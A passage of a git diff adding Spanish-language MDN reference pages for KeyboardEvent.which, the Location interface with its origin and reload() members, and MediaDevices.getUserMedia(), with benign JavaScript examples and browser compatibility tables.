+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{ domxref("KeyboardEvent") }}</li>
+</ul>
diff --git a/files/es/web/api/keyboardevent/which/index.html b/files/es/web/api/keyboardevent/which/index.html
new file mode 100644
index 0000000000..11e1e3e48e
--- /dev/null
+++ b/files/es/web/api/keyboardevent/which/index.html
@@ -0,0 +1,62 @@
+---
+title: event.which
+slug: Web/API/KeyboardEvent/which
+tags:
+  - DOM
+  - events
+  - metodo
+  - which
+translation_of: Web/API/KeyboardEvent/which
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p>Devuelve el <code>keyCode</code> de la tecla presionada, o el codigo del caracter (<code>charCode</code>) de la tecla alfanumerica presionada.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval"><em>var keyResult</em> = event.which;
+</pre>
+<p><code>keyResult</code> contiene el codigo numerico para una tecla en particular, dependiendo si la tecla presionada es alfanumerica o no-alfanumerica. Por favor mire <code><a href="/en/DOM/event.charCode" title="en/DOM/event.charCode">charCode</a></code> y <code><a href="/en/DOM/event.keyCode" title="en/DOM/event.keyCode">keyCode</a></code> para mas informacion.</p>
+<h3 id="Example" name="Example">Ejemplo</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;charCode/keyCode/which example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function showKeyPress(evt)
+{
+alert("onkeypress handler: \n"
+      + "keyCode property: " + evt.keyCode + "\n"
+      + "which property: " + evt.which + "\n"
+      + "charCode property: " + evt.charCode + "\n"
+      + "Character Key Pressed: "
+      + String.fromCharCode(evt.charCode) + "\n"
+     );
+}
+
+
+function keyDown(evt)
+{
+alert("onkeydown handler: \n"
+      + "keyCode property: " + evt.keyCode + "\n"
+      + "which property: " + evt.which + "\n"
+     );
+}
+
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body
+ onkeypress="showKeyPress(event);"
+ onkeydown="keyDown(event);"
+&gt;
+
+&lt;p&gt;Por favor presione cualquier tecla.&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<div class="note">
+ <strong>Nota:</strong> El codigo de arriba falla en Firefox 9 debido al <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=696020" title="onkeypress attribute on body no longer gets events happening on the window">bug 696020</a>.</div>
+<h3 id="Specification" name="Specification">Especificacion</h3>
+<p>No es parte de ninguna especificacion.</p>
diff --git a/files/es/web/api/location/index.html b/files/es/web/api/location/index.html
new file mode 100644
index 0000000000..9276724542
--- /dev/null
+++ b/files/es/web/api/location/index.html
@@ -0,0 +1,212 @@
+---
+title: Location
+slug: Web/API/Location
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Location
+  - Referencia
+translation_of: Web/API/Location
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>La interface <strong><code>Location</code></strong> representa la ubicación (URL) del objeto al que esta vinculado. Los cambios hechos en ella son reflejados en el objeto al cual está relacionado. Ambas interfaces, {{domxref("Document")}} y {{domxref("Window")}} tienen una interface <code>Location</code> asignada, accessible desde {{domxref("Document.location")}} y {{domxref("Window.location")}} respectivamente.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>La interface <code>Location</code></em><em> no hereda ninguna propiedad, pero las implementa desde {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Location.href")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que contiene la URL completa. Si es cambiada, el documento asociado navegará a la nueva pagina. Puede ser cambiada desde un origen diferente que el asociado al documento.</dd>
+ <dt>{{domxref("Location.protocol")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que contiene el esquema del protocolo de la URL, incluyendo el <code>':'</code> final.</dd>
+ <dt>{{domxref("Location.host")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que contiene el host, el cual esta compuesta por: <em>hostname</em>,  <code>':'</code>, y el <em>port</em> de la URL.</dd>
+ <dt>{{domxref("Location.hostname")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que contiene el dominio de la URL.</dd>
+ <dt>{{domxref("Location.port")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que contiene el numero del puerto de la URL.</dd>
+ <dt>{{domxref("Location.pathname")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que contiene el <code>'/'</code> inicial, seguido por la ruta de la URL.</dd>
+ <dt>{{domxref("Location.search")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que contiene un <code>'?'</code> seguido por los parametros o el "querystring" de la URL. Navegadores modernos proveen <a href="/en-US/docs/Web/API/URLSearchParams/get#Example">URLSearchParams</a> y <a href="/en-US/docs/Web/API/URL/searchParams#Example">URL.searchParams</a> para hacer mas facil de obtener los parametros desde el querystring.</dd>
+ <dt>{{domxref("Location.hash")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que contiene un <code>'#'</code> seguido por el fragmento identificador de la URL.</dd>
+ <dt>{{domxref("Location.username")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que contiene el <em>username</em> (usuario) especificado antes del dominio.</dd>
+ <dt>{{domxref("Location.password")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que contiene el <em>password</em> (contraseña) especificado antes del dominio.</dd>
+ <dt>{{domxref("Location.origin")}} {{readOnlyInline}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que contiene la forma canonica del <em>origin</em> (origen) de la URL.</dd>
+</dl>
+
+<h2 id="Metodos">Metodos</h2>
+
+<p><em>La interface <code>Location</code></em><em> no hereda ningun metodo<em>, pero los implementa desde {{domxref("URLUtils")}}</em>.</em></p>
+
+<dl>
+ <dt>{{domxref("Location.assign()")}}</dt>
+ <dd>Carga el recurso en la URL proporcionada en el parámetro.</dd>
+ <dt>{{domxref("Location.reload()")}}</dt>
+ <dd>Recarga el recurso desde la URL actual. Si unico y opcional parametro es {{domxref("Boolean")}}, el cual, cuando es <code>true</code>, hace que la pagina siempre sea recargada desde el servidor. Si es <code>false</code> o no es especificado, el navegador puede recargar la pagina desde su cache.</dd>
+ <dt>{{domxref("Location.replace()")}}</dt>
+ <dd>Reemplaza el recurso actual por el recibido como URL. La diferencia con el metodo <code>assign()</code> es que luego de usar <code>replace()</code> la pagina actual no va a ser guardada en la sesión {{domxref("History")}}, esto significa que el usuario no podrá usar el boton <em>Atras</em> para navegar a esta.</dd>
+ <dt>{{domxref("Location.toString()")}}</dt>
+ <dd>Retorna un {{domxref("DOMString")}} que contiene la URL completa. Es un sinonimo de {{domxref("URLUtils.href")}}, aunque este no puede ser utilizado para modificar el valor.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">// Crear un elemento &lt;a&gt; y usar la propiedad href para el proposito de este ejemplo.
+// Una alternativa mas correcta es navegar a la URL y usar document.location o window.location
+var url = document.createElement('a');
+url.href = 'https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container';
+console.log(url.href);      // https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container
+console.log(url.protocol);  // https:
+console.log(url.host);      // developer.mozilla.org:8080
+console.log(url.hostname);  // developer.mozilla.org
+console.log(url.port);      // 8080
+console.log(url.pathname);  // /en-US/search
+console.log(url.search);    // ?q=URL
+console.log(url.hash);      // #search-results-close-container
+console.log(url.origin);    // https://developer.mozilla.org
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#the-location-interface", "Location")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Location")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Definicion inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> en <code>Windows.location</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("21")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> en todos los objetos <code>location</code> (pero en Workes, usa {{domxref("WorkerLocation")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code> and <code>password</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> en <code>Windows.location</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("21")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> en todos los objetos <code>location</code> (pero en Workers, usa {{domxref("WorkerLocation")}})</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code> y <code>password</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>Dos metodos que crean tal objeto: {{domxref("Window.location")}} y {{domxref("Document.location")}}.</li>
+ <li>URL relacionadas a interfaces: {{domxref("URL")}}, {{domxref("URLSearchParams")}} y {{domxref("HTMLHyperlinkElementUtils")}}</li>
+</ul>
diff --git a/files/es/web/api/location/origin/index.html b/files/es/web/api/location/origin/index.html
new file mode 100644
index 0000000000..4e019a68f0
--- /dev/null
+++ b/files/es/web/api/location/origin/index.html
@@ -0,0 +1,56 @@
+---
+title: 'Location: origin'
+slug: Web/API/Location/origin
+tags:
+  - API
+  - Location
+  - Propiedad
+  - Referencia
+  - Ubicación
+translation_of: Web/API/Location/origin
+---
+<p>{{APIRef("Location")}}</p>
+
+<p><span class="seoSummary">La propiedad de sólo-lectura <strong><code>origin</code></strong> de la interfaz {{domxref("Location")}} es una {{domxref("USVString")}} que contiene la serialización Unicode del origen de la URL que representa</span>; que es:</p>
+
+<ul>
+ <li>para una URL que usa <code>http</code> o <code>https</code>, el esquema seguido de <code>'://'</code>, seguido del dominio, seguido de <code>':'</code>, seguido del puerto (el puerto por defecto, <code>80</code> y <code>443</code> respectivamente, si se indica de forma explícita);</li>
+ <li>para una URL que usa <code>file:</code> esquema, el valor es independiente del navegador;</li>
+ <li>para una URL que usa <code>blob:</code> esquema, el origen de la URL seguido de <code>blob:</code>. Ej. <code>"blob:https://mozilla.org"</code> tendrá <code>"https://mozilla.org".</code></li>
+</ul>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><em>string</em> = <em>object</em>.origin;
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js notranslate">// En esta página, devuelve el origen
+var result = window.location.origin; // Devuelve:'https://developer.mozilla.org'
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-location-origin', 'origin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("api.Location.origin")}}</p>
diff --git a/files/es/web/api/location/reload/index.html b/files/es/web/api/location/reload/index.html
new file mode 100644
index 0000000000..2c7cedccab
--- /dev/null
+++ b/files/es/web/api/location/reload/index.html
@@ -0,0 +1,75 @@
+---
+title: 'Location: reload()'
+slug: Web/API/Location/reload
+tags:
+  - API
+  - HTML
+  - HTML DOM
+  - Location
+  - Method
+  - Referencia
+  - metodo
+translation_of: Web/API/Location/reload
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>El metodo <code><strong>location.reload()</strong></code> carga de nuevo la URL actual, como lo hace el boton de Refresh de los navegadores.</p>
+
+<p>La recarga puede estar bloqueada y arrojar un <code>SECURITY_ERROR</code> {{domxref("DOMException")}} . Esto sucede si el {{Glossary("origin")}} de la llamada <code>location.reload()</code> difiere del origen de la página que posee el objeto { {domxref("Location")}}. Consulta <a href="/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a> para mayor información.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate"><em>location</em>.reload();
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;button id="reload"&gt;Click para recargar&lt;/button&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">const reload = document.getElementById('reload');
+
+reload.addEventListener('click', _ =&gt; { // el _ es para indicar la ausencia de parametros
+    location.reload();
+});</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-location-reload", "Location.reload()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-location-reload", "Location.reload()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de extracción.</div>
+
+<p>{{Compat("api.Location.reload")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>The {{domxref("Location")}} interface it belongs to.</li>
+ <li>Similar methods: {{domxref("Location.assign()")}} and {{domxref("Location.replace()")}}.</li>
+</ul>
diff --git a/files/es/web/api/mediadevices/getusermedia/index.html b/files/es/web/api/mediadevices/getusermedia/index.html
new file mode 100644
index 0000000000..1466aecd36
--- /dev/null
+++ b/files/es/web/api/mediadevices/getusermedia/index.html
@@ -0,0 +1,300 @@
+---
+title: MediaDevices.getUserMedia()
+slug: Web/API/MediaDevices/getUserMedia
+translation_of: Web/API/MediaDevices/getUserMedia
+---
+<div>{{APIRef("WebRTC")}}{{SeeCompatTable}}</div>
+
+<p>El método <code><strong>MediaDevices.getUserMedia()</strong></code> solicita al usuario permisos para usar un dispositivo de entrada de vídeo y/o uno de audio como una cámara o compartir la pantalla y/o micrófono. Si el usuario proporciona los permisos, entonces le retornará un {{domxref("Promise")}} que es resuelto por el resultado del objeto <code><a href="/en-US/docs/WebRTC/MediaStream_API#LocalMediaStream">MediaStream</a></code>. Si el usuario niega el permiso, o si el recurso multimedia no es válido, entonces el promise es rechazado con <code>PermissionDeniedError</code> o <code>NotFoundError</code> respectivamente. Nótese que es posible que el promise retornado no sea ni resuelto ni rechazado, ya que no se requiere que el usuario tome una decisión.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>gumPromise</em> = <em>MediaDevices</em>.getUserMedia(<em>constraints</em>);</pre>
+
+<p>Generalmente, accederás al objeto singleton {{domxref("MediaDevices")}} usando {{domxref("navigator.mediaDevices")}}, de esta forma:</p>
+
+<pre><code>navigator.mediaDevices.getUserMedia(myConstraints).then(function(mediaStream) {
+  /* usar el flujo de datos */
+}).catch(function(err) {
+  /* manejar el error */
+});</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>constraints</code></dt>
+ <dd>
+ <p>Es un objeto {{domxref("MediaStreamConstraints")}} que especifica los tipos de recursos a solicitar, junto con cualquier requerimiento para cada tipo.</p>
+
+ <p>El parámetro constraints es un objeto <code>MediaStreamConstaints</code> con dos miembros: <code>video</code> y <code>audio</code>, que describen los tipos de recurso solicitados. Debe especificarse uno o ambos. Si el navegador no puede encontrar todas las pistas de recursos con los tipos especificados que reúnan las restricciones dadas, entonces el promise retornado es rechazado con <code>NotFoundError</code>.</p>
+
+ <p>Lo siguiente realiza la petición de tanto audio como vídeo sin requerimientos específicos:</p>
+
+ <pre class="brush: js">{ audio: true, video: true }</pre>
+
+ <p>Mientras que la información acerca de las cámaras y micrófonos de los usuarios se encuentran inaccesibles por razones de privacidad, una aplicación puede solicitar la cámara y las capacidades del micrófono que este requiera, usando restricciones adicionales. El siguiente código es para mosrtar una resolución de una cámara de 1280x720.</p>
+
+ <pre class="brush: js">{
+  audio: true,
+  video: { width: 1280, height: 720 }
+}</pre>
+
+ <p>El navegador tratará de respetar esto, pero puede devolver otras resoluciones si una coincidencia exacta no está disponible o si el usuario la reemplaza.</p>
+
+ <p>Para <em>conseguir </em>otras resoluciones, puede utilizar las propiedaes <code>min</code>, <code>max</code>, or <code>exact</code> (también conocido como min == max). El siguiente ejemplo le muestra cómo solicitar una resolución mínima de 1280x720.</p>
+
+ <pre class="brush: js">{
+  audio: true,
+  video: {
+    width: { min: 1280 },
+    height: { min: 720 }
+  }
+}</pre>
+
+ <p>Si no existe una cámara con una resolución mínima para trabajar, entonces la promesa devuelta será rechazada con NotFoundError, y no se le pedirá al usuario.</p>
+
+ <p>La razón de esto es debido a que las propiedades <code>min</code>, <code>max</code>, y <code>exact </code>son inherentemente obligatorias, mientras que los valores planos y una propiedad llamada <em>ideal </em>no lo son. He aquí un ejemplo más completo:</p>
+
+ <pre class="brush: js">{
+  audio: true,
+  video: {
+    width: { min: 1024, ideal: 1280, max: 1920 },
+    height: { min: 776, ideal: 720, max: 1080 }
+  }
+}</pre>
+
+ <p>Un valor perteneciente a la propiedad <code>ideal, </code>cuando es usada, tiene gravedad, lo que significa que el navegador tratará de encontrar la configuración (una cámara, si tienes más de una), con la distancia de aptitud más pequeña (<a href="http://w3c.github.io/mediacapture-main/#methods-5">fitness distance</a>) de los valores ideales dados.</p>
+
+ <p>Los valores planos son inherentemente ideales, lo que significa que de los ejemplos mostrados anteriormente, podrían haberse escrito de la siguiente manera:</p>
+
+ <pre class="brush: js">{
+  audio: true,
+  video: {
+    width: { ideal: 1280 },
+    height: { ideal: 720 }
+  }
+}</pre>
+
+ <p>No todas las restricciones son números. Por ejemplo, en dispositivos móviles, los siguientes preferirán la cámara frontal (si está disponible) sobre la posterior:</p>
+
+ <pre class="brush: js">{ audio: true, video: { facingMode: "user" } }</pre>
+
+ <p>Para <em>solicitar </em>la cámara frontal, use:</p>
+
+ <pre class="brush: js">{ audio: true, video: { facingMode: { exact: "environment" } } }</pre>
+ </dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un {{jsxref("Promise")}} que resuelve a un objeto {{domxref("MediaStream")}}.</p>
+
+<h3 id="Errores">Errores</h3>
+
+<p>Los rechazos de la promesa devuelta se realizan con un objeto {{domxref ("MediaStreamError")}} que está modelado en {{domxref ("DOMException")}}. Los errores más relevantes son:</p>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>Permiso para usar un dispositivo fue denegado por el usuario o por el sistema.</dd>
+ <dt><code>NotFoundError</code></dt>
+ <dd>No se encontraron pistas multimedia del tipo especificado que satisfagan las restricciones especificadas.</dd>
+</dl>
+
+<h2 id="Ejemplos"><strong>Ejemplos</strong></h2>
+
+<h3 id="Usando_la_Promesa_(Promise)">Usando la Promesa (Promise)</h3>
+
+<p>Este ejemplo asigna el objeto {{domxref("MediaStream")}} al elemento apropiado.</p>
+
+<pre>var p = navigator.mediaDevices.getUserMedia({ audio: true, video: true });
+
+p.then(function(mediaStream) {
+  var video = document.querySelector('video');
+  video.src = window.URL.createObjectURL(mediaStream);
+  video.onloadedmetadata = function(e) {
+    // Do something with the video here.
+  };
+});
+
+p.catch(function(err) { console.log(err.name); }); // always check for errors at the end.</pre>
+
+<h3 id="Ancho_y_alto">Ancho y alto</h3>
+
+<p>He aquí un ejemplo del uso de <code>mediaDevices.getUserMedia(), </code>incluyendo un polyfill para hacer frente a los navegadores más antiguos.</p>
+
+<pre class="brush: js">var promisifiedOldGUM = function(constraints, successCallback, errorCallback) {
+
+  // First get ahold of getUserMedia, if present
+  var getUserMedia = (navigator.getUserMedia ||
+      navigator.webkitGetUserMedia ||
+      navigator.mozGetUserMedia);
+
+  // Some browsers just don't implement it - return a rejected promise with an error
+  // to keep a consistent interface
+  if(!getUserMedia) {
+    return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
+  }
+
+  // Otherwise, wrap the call to the old navigator.getUserMedia with a Promise
+  return new Promise(function(successCallback, errorCallback) {
+    getUserMedia.call(navigator, constraints, successCallback, errorCallback);
+  });
+
+}
+
+// Older browsers might not implement mediaDevices at all, so we set an empty object first
+if(navigator.mediaDevices === undefined) {
+  navigator.mediaDevices = {};
+}
+
+// Some browsers partially implement mediaDevices. We can't just assign an object
+// with getUserMedia as it would overwrite existing properties.
+// Here, we will just add the getUserMedia property if it's missing.
+if(navigator.mediaDevices.getUserMedia === undefined) {
+  navigator.mediaDevices.getUserMedia = promisifiedOldGUM;
+}
+
+
+// Prefer camera resolution nearest to 1280x720.
+var constraints = { audio: true, video: { width: 1280, height: 720 } };
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  var video = document.querySelector('video');
+  video.src = window.URL.createObjectURL(stream);
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+</pre>
+
+<h3 id="Cuadros_por_segundo">Cuadros por segundo</h3>
+
+<p>Pocos frame-rates ó cuadros por segundo pueden ser deseables  en algunos casos, como transmisiones  WebRTC con restricciones de ancho de banda.</p>
+
+<pre class="brush: js">var constraints = { video: { frameRate: { ideal: 10, max: 15 } } };
+</pre>
+
+<h3 id="Camara_frontal_y_camara_trasera">Camara frontal y camara trasera</h3>
+
+<p>En telefonos moviles.</p>
+
+<pre class="brush: js">var front = false;
+document.getElementById('flip-button').onclick = function() { front = !front; };
+
+var constraints = { video: { facingMode: (front? "user" : "environment") } };
+</pre>
+
+<h2 id="Permisos">Permisos</h2>
+
+<p>Para usar <code>getUserMedia()</code> en una app instalable (por ejemplo, una <a href="/en-US/Apps/Build/Building_apps_for_Firefox_OS/Firefox_OS_app_beginners_tutorial">Firefox OS app</a>), necesitas especificar uno o ambos de los siguientes campos dentro de tu archivo manifest:</p>
+
+<pre class="brush: js">"permissions": {
+  "audio-capture": {
+    "description": "Required to capture audio using getUserMedia()"
+  },
+  "video-capture": {
+    "description": "Required to capture video using getUserMedia()"
+  }
+}</pre>
+
+<p>Ver <a href="/en-US/Apps/Developing/App_permissions#audio-capture">permission: audio-capture</a> y  <a href="/en-US/Apps/Developing/App_permissions#video-capture">permission: video-capture</a> para más información.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediadevices-getusermedia', 'MediaDevices.getUserMedia()')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Stream API</td>
+   <td>{{CompatVersionUnknown}}<sup>[1][3]</sup><br>
+    47</td>
+   <td>36<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android </th>
+  </tr>
+  <tr>
+   <td>Stream API</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>36<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Viejas versiones de Chrome y Opera implementan <code>navigator.webkitGetUserMedia</code>, la versión prefijada {{domxref("navigator.getUserMedia")}} del metodo.</p>
+
+<p>En Chrome, esta promise-based interfaz esta unicamente disponible mediante el <a href="https://github.com/webrtc/adapter">adapter.js</a> polyfill, o usando la bandera <a>chrome://flags/#enable-experimental-web-platform-features</a>.</p>
+
+<p>Chrome usa una sintaxis de restricciones desactualizada, pero la sintaxis descrita aquí esta disponible mediante el  <a href="https://github.com/webrtc/adapter">adapter.js</a> polyfill.</p>
+
+<p>[2] Viejas versiones de  Firefox implementan <code>navigator.mozGetUserMedia</code>, la versión prefijada  {{domxref("navigator.getUserMedia")}} del método.</p>
+
